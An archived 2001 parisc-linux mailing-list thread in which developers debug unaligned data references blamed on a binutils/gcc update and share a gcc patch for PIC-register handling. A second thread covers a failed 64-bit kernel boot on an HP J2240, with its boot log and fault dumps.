From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] broken toolchain?
Date: Sun, 13 May 2001 02:15:22 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20010513021522.B28266@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620114 19296 80.91.229.3 (22 Nov 2014 01:35:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:14 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 12 19:15:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 147B4482B
	for <parisc-linux@parisc-linux.org>; Sat, 12 May 2001 19:15:48 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14ykTi-0001qQ-00
	for parisc-linux@parisc-linux.org; Sun, 13 May 2001 02:15:22 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11036

as some of you know, i'm busy up here in canada building packages.
it seems to me that i'm getting a lot more unaligned data references from
things that I build than I was last week.  Also I'm getting unaligned
data references from glibc 2.2.3 that i'm building on gsyprf11 which i
never had on jagu.  I did an apt-get update on gsyprf11 and I remember
binutils getting updated, so I'm tempted to blame that.  can anyone else
confirm/deny problems?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] broken toolchain?
Date: Sat, 12 May 2001 21:23:47 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200105130123.VAA25847@hiauly1.hia.nrc.ca>
References: <20010513021522.B28266@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620115 19300 80.91.229.3 (22 Nov 2014 01:35:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:15 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: matthew@wil.cx (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 12 19:23:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id D4DE9482B
	for <parisc-linux@parisc-linux.org>; Sat, 12 May 2001 19:23:55 -0600 (MDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id VAA25847;
	Sat, 12 May 2001 21:23:48 -0400 (EDT)
In-Reply-To: <20010513021522.B28266@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at May 13, 2001 02:15:22 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:11037

> as some of you know, i'm busy up here in canada building packages.
> it seems to me that i'm getting a lot more unaligned data references from
> things that I build than I was last week.  Also I'm getting unaligned
> data references from glibc 2.2.3 that i'm building on gsyprf11 which i
> never had on jagu.  I did an apt-get update on gsyprf11 and I remember
> binutils getting updated, so I'm tempted to blame that.  can anyone else
> confirm/deny problems?

There still issues re the management of the PIC register.  These might
cause the unaligned data accesses that you are seeing.  I know the
mainline gcc was broken by a patch that Alan Modra added to add
dwarf2 profiling support.  On the branch, things are better but I just
discovered a new issue involving inline functions.  Don't know where
things stand with the parisc-linux gcc source.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)




From - Thu Nov 08 21:17:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] broken toolchain?
Date: Sun, 13 May 2001 02:28:57 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <20010513022857.D28266@parcelfarce.linux.theplanet.co.uk>
References: <20010513021522.B28266@parcelfarce.linux.theplanet.co.uk> <200105130123.VAA25847@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620115 19303 80.91.229.3 (22 Nov 2014 01:35:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:15 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 12 19:29:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6BA74482B
	for <parisc-linux@parisc-linux.org>; Sat, 12 May 2001 19:29:31 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14ykgr-00029G-00; Sun, 13 May 2001 02:28:57 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200105130123.VAA25847@hiauly1.hia.nrc.ca>; from dave@hiauly1.hia.nrc.ca on Sat, May 12, 2001 at 09:23:47PM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11038

On Sat, May 12, 2001 at 09:23:47PM -0400, John David Anglin wrote:
> There still issues re the management of the PIC register.  These might
> cause the unaligned data accesses that you are seeing.  I know the
> mainline gcc was broken by a patch that Alan Modra added to add
> dwarf2 profiling support.  On the branch, things are better but I just
> discovered a new issue involving inline functions.  Don't know where
> things stand with the parisc-linux gcc source.

I don't think tat's the case.  Here's a dump:

!!die_if_kernel: ssh-keygen(6160): Unaligned data reference 28                  
                                                                                
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI                                           
PSW: 00000000000001001111111100001111                                           
r0-3     00000000 00030ed0 0001cd47 00000003                                    
r4-7     00000000 00000020 000000f6 bff04988                                    
r8-11    00000003 000312ea 0008e010 0008cef0                                    
r12-15   00000000 00000000 0008f350 00000000                                    
r16-19   00000000 00038f00 00000004 0001f800                                    
r20-23   00000005 40242090 000312ea 00000020                                    
r24-27   00000020 bff04988 00000003 00030ed0                                    
r28-31   00000003 00000037 bff04ac0 0001cd47                                    
sr0-3    00000000 00000185 00000000 00000185                                    
sr4-7    00000185 00000185 00000185 00000185                                    
                                                                                
IASQ: 00000185 00000185 IAOQ: 000127ab 000127af                                 
 IIR: 4835082e    ISR: 00000185  IOR: 000312e7                                  
ORIG_R28: bff00000                                                              

now r19 is 1f800 so it doesn't seem unaligned to me.  r22 or r9 look
like the problem children here.  i'll have to disassemble the source to
find out and I'm just going out so that'll have to wait till tomorrow.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Douglas T. Crosher" <dtc@scieneer.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] J2240?
Date: Sun, 13 May 2001 15:45:47 +1000
Organization: Scieneer Pty Ltd
Lines: 162
Approved: news@gmane.org
Message-ID: <3AFE1F8B.725C1B8B@scieneer.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620115 19308 80.91.229.3 (22 Nov 2014 01:35:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 12 23:46:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gw.scieneer.com (gw.scieneer.com [203.44.134.129])
	by dsl2.external.hp.com (Postfix) with ESMTP id 657DF482B
	for <parisc-linux@lists.parisc-linux.org>; Sat, 12 May 2001 23:45:59 -0600 (MDT)
Original-Received: from scieneer.com (IDENT:dtc@dtc-pc.scieneer.com [10.0.0.100])
	by gw.scieneer.com (8.11.0/8.8.7) with ESMTP id f4D5jlH31826
	for <parisc-linux@lists.parisc-linux.org>; Sun, 13 May 2001 15:45:52 +1000
Original-Sender: dtc@scieneer.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.3-pre2 i686)
X-Accept-Language: en-GB, en
Xref: news.gmane.org gmane.linux.ports.parisc:11039

Even though the J2240 is not reported to be working yet on the
Web pages, it does seem to boot some way. Would anyone have
had any success with this machine, or have workarounds
to the problems below, or know the work that needs to be
done to get this running? Perhaps the following are a clue:

...
dino_bridge_init: IO_ADDR_EN hasn't been configured.
kernel BUG at dino.c:795!
...
IRQ not found for serial device at 0xfffffffffc003000
...

Regards
Douglas Crosher

-=-=-

HARD Booted.
palo ipl <> Sun May 13 11:53:13 EST 2001
0/vmlinux 3466302 bytes @ 0x6800
0/palo-cmdline '0/vmlinux HOME=/ TERM=linux root=/dev/nfs nfsroot=10.0.0.100 con
sole=ttyS0'
Kernel: partition 0 file /vmlinux
ELF64 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 2022944 mediaptr 0x1000
Segment 1 load 002ee000 size 749584 mediaptr 0x1ef000
Segment 2 load 003a8000 size 16384 mediaptr 0x2a7000
branching to kernel entry point 0x00100000
Set default PSW W bit to 1
PDC Console Initialized
Linux version 2.4.0 (<>) (gcc version 3.0 20010427 (prerele
ase)) #7 Sun May 13 15:10:06 EST 2001
FP[0] enabled: Rev 0 Model 14
The 64-bit Kernel has started...
Kernel is using PDC in 32-bit mode.
Determining PDC firmware type: Newer Box
setup_cmdline(0x64cc4,0x64cc4,0x0,0x0)
PALO command line: 'HOME=/ TERM=linux root=/dev/nfs nfsroot=10.0.0.100 console=t
tyS0'
PALO initrd 0-0
model   00005b50 00000491 00000000 00000002 77c5684a 100000f0 00000008 000000b2 
000000b2
vers    00000501
cpuid   000001d7
CPUID   vers 14 rev 23
model   9000/782/J2240
Total Memory: 96 Mb
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 24576
zone(0): 24576 pages.
zone(1): 0 pages.
zone(2): 0 pages.
led_init: chassis info: model=0 (LCD), lcd_width=16, cmd_delay=40, actcnt=137438
953504, maxcnt=0
Searching for devices...
Found devices:
1. SummitHawk Dino RS-232 (10) at 0xfffffffffc003000, versions 0x5d, 0x0, 0x8c, 
0x0, 0x0
2. SummitHawk Dino RS-232 (10) at 0xfffffffff1607000, versions 0x5d, 0x0, 0x8c, 
0x0, 0x0
3. SummitHawk 230 Core BA (11) at 0xffffffffffd00000, versions 0x5c, 0x0, 0x81, 
0x0, 0x0,  additional addresses: 0xffffffffffd0c000 0xffffffffffc00000 
4. SummitHawk 230 Core SCSI (10) at 0xffffffffffd06000, versions 0x5c, 0x0, 0x82
, 0x0, 0x0
5. SummitHawk 230 Core Centronics (10) at 0xffffffffffd02000, versions 0x5c, 0x0
, 0x74, 0x0, 0x0,  additional addresses: 0xffffffffffd01000 0xffffffffffd03000 
6. SummitHawk 230 Core Audio (10) at 0xffffffffffd04000, versions 0x5c, 0x4, 0x7
b, 0x0, 0x0
7. SummitHawk 230 Core PC Keyboard (10) at 0xffffffffffd08000, versions 0x5c, 0x
0, 0x84, 0x0, 0x0
8. SummitHawk 230 Core PC Keyboard (10) at 0xffffffffffd08100, versions 0x5c, 0x
0, 0x84, 0x0, 0x0
9. U2-IOA BC GSC+ Port (7) at 0xfffffffffc03f000, versions 0x501, 0x1, 0xc, 0x3,
 0x0
10. U2-IOA BC GSC+ Port (7) at 0xfffffffff163f000, versions 0x501, 0x1, 0xc, 0x3
, 0x0
11. Cujo PCI Bridge (13) at 0xfffffffff1604000, versions 0x682, 0x1, 0xa, 0x1, 0
x0
12. Dino PCI Bridge (13) at 0xfffffffffc004000, versions 0x680, 0x3, 0xa, 0x0, 0
x0,  additional addresses: 0xfffffffffc800000 
13. Unknown device (13) at 0xfffffffffc000000, versions 0x5d, 0x3, 0xa, 0x0, 0x0
14. U2-IOA BC Runway Port (12) at 0xfffffffffff88000, versions 0x580, 0xf, 0xb, 
0x1, 0x50
15. U2-IOA BC Runway Port (12) at 0xfffffffffff8a000, versions 0x580, 0xf, 0xb, 
0x1, 0x50
16. SummitHawk U+ (0) at 0xfffffffffffa0000, versions 0x5b5, 0x0, 0x4, 0x0, 0x91
17. SummitHawk U+ (0) at 0xfffffffffffa2000, versions 0x5b5, 0x0, 0x4, 0x0, 0x91
18. SummitHawk Memory (1) at 0xfffffffffffb1000, versions 0x83, 0x0, 0x9, 0x0, 0
x0
That's a total of 18 devices.
CONFIG_SMP=n  ignoring additional CPUs
Warning : device (0, 0x5b5, 0x0, 0x4, 0x0) NOT claimed by CPU PARISC
CPU(s): 1 x PA8200 (PCX-U+) at 236.000000 MHz
Kernel command line: HOME=/ TERM=linux root=/dev/nfs nfsroot=10.0.0.100 console=
ttyS0
Calibrating delay loop... 470.22 BogoMIPS
Memory: 91924k available
Dentry-cache hash table entries: 16384 (order: 6, 262144 bytes)
Buffer-cache hash table entries: 4096 (order: 3, 32768 bytes)
Page-cache hash table entries: 32768 (order: 6, 262144 bytes)
Inode-cache hash table entries: 8192 (order: 5, 131072 bytes)
POSIX conformance testing by UNIFIX
Lasi version 0 at 0xffffffffffd00000 found.
LED display at ffffffffffd0c000 registered
Initializing Lasi PS/2-keyboard port at 0xffffffffffd08000...
Support for Lasi PS/2-psaux not yet available !
Dino version 3.1 (bridge mode) found at 0xfffffffffc004000
Dino version J2240 (bridge mode) found at 0xfffffffffc000000
dino_bridge_init: IO_ADDR_EN hasn't been configured.
kernel BUG at dino.c:795!
ccio found U2 I/O MMU at 0xfffffffffff88000
io_io_high: 0xfff80000 io_io_low: 0xf4000000
ccio found U2 I/O MMU at 0xfffffffffff8a000
io_io_high: 0xf4000000 io_io_low: 0xf1600000
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
pty: 256 Unix98 ptys configured
lp: driver loaded but no devices found
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ SERIAL_PCI ena
bled
busdevice_alloc_irq(0x00000000103ae348): No known LASI/ASP/WAX owns device at 0x
fffffffffc003000 !
IRQ not found for serial device at 0xfffffffffc003000
Warning : device (10, 0x5d, 0x0, 0x8c, 0x0) NOT claimed by serial device 715/new
 or similiar
busdevice_alloc_irq(0x00000000103ae3d0): No known LASI/ASP/WAX owns device at 0x
fffffffff1607000 !
IRQ not found for serial device at 0xfffffffff1607000
Warning : device (10, 0x5d, 0x0, 0x8c, 0x0) NOT claimed by serial device 715/new
 or similiar

Dumping Stack from 0000000010048000 to 0000000010049280:
8000 00000000 00000000 00000000 00000040 00000000 00000000 00000000 10308a40
...
9260 00000000 000000f8 00000000 00000058 00000000 10105764 00000000 102e2e35

Kernel Fault: Code=26 regs=0000000010048f40 (Addr=0000000000000008)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001100000000000001110
r0-3     0000000000000000 00000000103b2600 000000001011023c 000000001034b7f0
r4-7     000000000000ffff 000000000000002f 0000000000000000 000000001034b7f0
r8-11    000000000800000f ffffffffffffffff 000000001031e3b8 00000000103cf988
r12-15   00000000103cf988 00000000103cf988 00000000103cf988 00000000103cf988
r16-19   000000001031e388 00000000103cf988 00000000103cf988 000000000000ffff
r20-23   0000000010326a00 0000000010334090 0000000000000000 0000000000000000
r24-27   000000000000002f 000000000000ffff 0000000000000000 000000001034b7f0
r28-31   0000000000002580 0000000010048e30 0000000010049280 0000000010319d78
sr0-3    0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr4-7    0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000102403d4 00000000102403d8
 IIR: 0cd010d9    ISR: 0000000000000000  IOR: 0000000000000008
ORIG_R28: 0000000000000004




From - Thu Nov 08 21:17:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@SPRI.Levels.UniSA.Edu.Au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] broken toolchain?
Date: Sun, 13 May 2001 22:45:02 +0930 (CST)
Lines: 112
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.30.0105132221020.11674-100000@mullet.itr.unisa.edu.au>
References: <200105130123.VAA25847@hiauly1.hia.nrc.ca>
Reply-To: <amodra@one.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620116 19312 80.91.229.3 (22 Nov 2014 01:35:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:16 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, <parisc-linux@parisc-linux.org>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May 13 07:15:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from patty.levels.unisa.edu.au (patty.levels.unisa.edu.au [130.220.36.156])
	by dsl2.external.hp.com (Postfix) with ESMTP id 66FAB482B
	for <parisc-linux@parisc-linux.org>; Sun, 13 May 2001 07:15:10 -0600 (MDT)
Original-Received: from mullet.itr.unisa.edu.au (root@mullet [172.17.0.119])
	by patty.levels.unisa.edu.au (8.9.3/8.9.1) with ESMTP id WAA29838;
	Sun, 13 May 2001 22:45:02 +0930 (CST)
Original-Received: from localhost (alan@localhost)
	by mullet.itr.unisa.edu.au (8.9.1a/8.9.2) with ESMTP id WAA11833;
	Sun, 13 May 2001 22:45:02 +0930
X-Authentication-Warning: mullet.itr.unisa.edu.au: alan owned process doing -bs
X-Sender: <alan@mullet.itr.unisa.edu.au>
In-Reply-To: <200105130123.VAA25847@hiauly1.hia.nrc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:11040

On Sat, 12 May 2001, John David Anglin wrote:

> There still issues re the management of the PIC register.  These might
> cause the unaligned data accesses that you are seeing.  I know the
> mainline gcc was broken by a patch that Alan Modra added to add
> dwarf2 profiling support.  On the branch, things are better but I just
> discovered a new issue involving inline functions.  Don't know where
> things stand with the parisc-linux gcc source.

hppa-linux uses dwarf2 unwind for exceptions.  Since the particular
breakage you mention only affects setjmp/longjmp exception handling, it
shouldn't be a problem unless people specify -fsjlj-exceptions.

Something like the following as yet untested patch should fix the problem.

gcc/ChangeLog.puffin
	* config/pa/pa.c (hppa_init_pic_save): Revert back to saving pic
	register after last_parm_insn.
	(hppa_inline_pic_init): New function.
	* config/pa/pa.h (INLINE_PIC_INIT): Define.
	(hppa_inline_pic_init): Declare.
	* integrate.c (expand_inline_function): Call INLINE_PIC_INIT.

-- 
Alan

Index: gcc/integrate.c
===================================================================
RCS file: /home/cvs/parisc/gcc/gcc/integrate.c,v
retrieving revision 1.6
diff -u -p -r1.6 integrate.c
--- integrate.c	2001/04/16 06:33:11	1.6
+++ integrate.c	2001/05/13 12:56:36
@@ -827,7 +827,12 @@ expand_inline_function (fndecl, parms, t
   /* If the inline function needs to make PIC references, that means
      that this function's PIC offset table must be used.  */
   if (inl_f->uses_pic_offset_table)
-    current_function_uses_pic_offset_table = 1;
+    {
+      current_function_uses_pic_offset_table = 1;
+#ifdef INLINE_PIC_INIT
+      INLINE_PIC_INIT (inl_f);
+#endif
+    }

   /* If this function needs a context, set it up.  */
   if (inl_f->needs_context)
Index: gcc/config/pa/pa.c
===================================================================
RCS file: /home/cvs/parisc/gcc/gcc/config/pa/pa.c,v
retrieving revision 1.21
diff -u -p -r1.21 pa.c
--- pa.c	2001/04/17 00:45:01	1.21
+++ pa.c	2001/05/13 12:57:07
@@ -3436,12 +3435,27 @@ hppa_init_pic_save ()
   RTX_UNCHANGING_P (PIC_OFFSET_TABLE_SAVE_RTX) = 1;
   insn = gen_rtx_SET (VOIDmode, PIC_OFFSET_TABLE_SAVE_RTX, picreg);

-  /* Emit the insn at the beginning of the function after the prologue.  */
-  if (tail_recursion_reentry)
-    emit_insn_before (insn, tail_recursion_reentry);
-  else
-    /* We must have been called via PROFILE_HOOK.  */
-    emit_insn (insn);
+  /* Emit the insn at the beginning of the function after the prologue.
+     The setjmp/longjmp exception handling code emits a call
+     immediately after last_parm_insn, and we need the pic save
+     register valid before the call.  That's why this insn must be
+     part of the parm insns.  */
+  push_topmost_sequence ();
+  last_parm_insn =
+    emit_insn_after (insn, last_parm_insn ? last_parm_insn : get_insns ());
+  pop_topmost_sequence ();
+}
+
+/* Unfortunately, parm insns are not copied for inline functions, so
+   we need to copy the initialization here.  */
+void
+hppa_inline_pic_init (inl_f)
+     struct function *inl_f;
+{
+  if (inl_f->machine->pic_offset_table_save_rtx)
+    emit_insn (gen_rtx_SET (VOIDmode,
+			    inl_f->machine->pic_offset_table_save_rtx,
+			    gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM)));
 }

 void
Index: gcc/config/pa/pa.h
===================================================================
RCS file: /home/cvs/parisc/gcc/gcc/config/pa/pa.h,v
retrieving revision 1.13
diff -u -p -r1.13 pa.h
--- pa.h	2001/05/01 12:40:14	1.13
+++ pa.h	2001/05/13 12:57:20
@@ -522,6 +522,12 @@ extern int target_flags;
 #define PIC_OFFSET_TABLE_SAVE_RTX (cfun->machine->pic_offset_table_save_rtx)
 extern void hppa_init_pic_save PARAMS ((void));

+/* Handle any special initialization needed for inline functions that
+   make PIC references.  */
+#define INLINE_PIC_INIT hppa_inline_pic_init
+struct function;
+extern void hppa_inline_pic_init PARAMS ((struct function *));
+
 #define DEFAULT_PCC_STRUCT_RETURN 0

 /* SOM ABI says that objects larger than 64 bits are returned in memory.





From - Thu Nov 08 21:17:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbrad@beavis.ybsoft.com (Ryan Bradetich)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J2240?
Date: Sun, 13 May 2001 12:23:36 -0600
Lines: 193
Approved: news@gmane.org
Message-ID: <20010513122336.A25045@beavis.ybsoft.com>
References: <3AFE1F8B.725C1B8B@scieneer.com>
Reply-To: rbradetich@uswest.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620116 19315 80.91.229.3 (22 Nov 2014 01:35:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Douglas T. Crosher" <dtc@scieneer.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May 13 12:23:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (lametoby.ybsoft.com [63.224.241.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6EAFF482B
	for <parisc-linux@lists.parisc-linux.org>; Sun, 13 May 2001 12:23:40 -0600 (MDT)
Original-Received: by beavis.ybsoft.com (Postfix, from userid 1000)
	id 25071BE01; Sun, 13 May 2001 12:23:36 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.15i
In-Reply-To: <3AFE1F8B.725C1B8B@scieneer.com>; from dtc@scieneer.com on Sun, May 13, 2001 at 03:45:47PM +1000
Xref: news.gmane.org gmane.linux.ports.parisc:11041

Hello Douglas,

I have to fess up on this one, since this machine uses both the
ccio-dma driver and the 32-bit pdc translator :)  I hve been testing
on a C200 that uses the ccio-dma driver and the 32-bit translator
also ... but I have not been able to boot the machine with a 64-bit
kernel yet.  I think it is a problem with the ccio-dma driver, but
I have been unable to find the error yet. 

Booting the machine with a 32-bit kernel should work fine ... if it
does not, post the output to the list again we can try to help debug
the 32-bit case first.  After you boot it witht he 32-bit kernel,
you can happily enjoy the 32-bit kernel ... or you can help me find 
the 64-bit bugs :)

Thanks, and have a good day!

- Ryan

 
On Sun, May 13, 2001 at 03:45:47PM +1000, Douglas T. Crosher wrote:
> 
> Even though the J2240 is not reported to be working yet on the
> Web pages, it does seem to boot some way. Would anyone have
> had any success with this machine, or have workarounds
> to the problems below, or know the work that needs to be
> done to get this running? Perhaps the following are a clue:
> 
> ...
> dino_bridge_init: IO_ADDR_EN hasn't been configured.
> kernel BUG at dino.c:795!
> ...
> IRQ not found for serial device at 0xfffffffffc003000
> ...
> 
> Regards
> Douglas Crosher
> 
> -=-=-
> 
> HARD Booted.
> palo ipl <> Sun May 13 11:53:13 EST 2001
> 0/vmlinux 3466302 bytes @ 0x6800
> 0/palo-cmdline '0/vmlinux HOME=/ TERM=linux root=/dev/nfs nfsroot=10.0.0.100 con
> sole=ttyS0'
> Kernel: partition 0 file /vmlinux
> ELF64 executable
> Entry 00100000 first 00100000 n 3
> Segment 0 load 00100000 size 2022944 mediaptr 0x1000
> Segment 1 load 002ee000 size 749584 mediaptr 0x1ef000
> Segment 2 load 003a8000 size 16384 mediaptr 0x2a7000
> branching to kernel entry point 0x00100000
> Set default PSW W bit to 1
> PDC Console Initialized
> Linux version 2.4.0 (<>) (gcc version 3.0 20010427 (prerele
> ase)) #7 Sun May 13 15:10:06 EST 2001
> FP[0] enabled: Rev 0 Model 14
> The 64-bit Kernel has started...
> Kernel is using PDC in 32-bit mode.
> Determining PDC firmware type: Newer Box
> setup_cmdline(0x64cc4,0x64cc4,0x0,0x0)
> PALO command line: 'HOME=/ TERM=linux root=/dev/nfs nfsroot=10.0.0.100 console=t
> tyS0'
> PALO initrd 0-0
> model   00005b50 00000491 00000000 00000002 77c5684a 100000f0 00000008 000000b2 
> 000000b2
> vers    00000501
> cpuid   000001d7
> CPUID   vers 14 rev 23
> model   9000/782/J2240
> Total Memory: 96 Mb
> initrd: 00000000-00000000
> pagetable_init
> On node 0 totalpages: 24576
> zone(0): 24576 pages.
> zone(1): 0 pages.
> zone(2): 0 pages.
> led_init: chassis info: model=0 (LCD), lcd_width=16, cmd_delay=40, actcnt=137438
> 953504, maxcnt=0
> Searching for devices...
> Found devices:
> 1. SummitHawk Dino RS-232 (10) at 0xfffffffffc003000, versions 0x5d, 0x0, 0x8c, 
> 0x0, 0x0
> 2. SummitHawk Dino RS-232 (10) at 0xfffffffff1607000, versions 0x5d, 0x0, 0x8c, 
> 0x0, 0x0
> 3. SummitHawk 230 Core BA (11) at 0xffffffffffd00000, versions 0x5c, 0x0, 0x81, 
> 0x0, 0x0,  additional addresses: 0xffffffffffd0c000 0xffffffffffc00000 
> 4. SummitHawk 230 Core SCSI (10) at 0xffffffffffd06000, versions 0x5c, 0x0, 0x82
> , 0x0, 0x0
> 5. SummitHawk 230 Core Centronics (10) at 0xffffffffffd02000, versions 0x5c, 0x0
> , 0x74, 0x0, 0x0,  additional addresses: 0xffffffffffd01000 0xffffffffffd03000 
> 6. SummitHawk 230 Core Audio (10) at 0xffffffffffd04000, versions 0x5c, 0x4, 0x7
> b, 0x0, 0x0
> 7. SummitHawk 230 Core PC Keyboard (10) at 0xffffffffffd08000, versions 0x5c, 0x
> 0, 0x84, 0x0, 0x0
> 8. SummitHawk 230 Core PC Keyboard (10) at 0xffffffffffd08100, versions 0x5c, 0x
> 0, 0x84, 0x0, 0x0
> 9. U2-IOA BC GSC+ Port (7) at 0xfffffffffc03f000, versions 0x501, 0x1, 0xc, 0x3,
>  0x0
> 10. U2-IOA BC GSC+ Port (7) at 0xfffffffff163f000, versions 0x501, 0x1, 0xc, 0x3
> , 0x0
> 11. Cujo PCI Bridge (13) at 0xfffffffff1604000, versions 0x682, 0x1, 0xa, 0x1, 0
> x0
> 12. Dino PCI Bridge (13) at 0xfffffffffc004000, versions 0x680, 0x3, 0xa, 0x0, 0
> x0,  additional addresses: 0xfffffffffc800000 
> 13. Unknown device (13) at 0xfffffffffc000000, versions 0x5d, 0x3, 0xa, 0x0, 0x0
> 14. U2-IOA BC Runway Port (12) at 0xfffffffffff88000, versions 0x580, 0xf, 0xb, 
> 0x1, 0x50
> 15. U2-IOA BC Runway Port (12) at 0xfffffffffff8a000, versions 0x580, 0xf, 0xb, 
> 0x1, 0x50
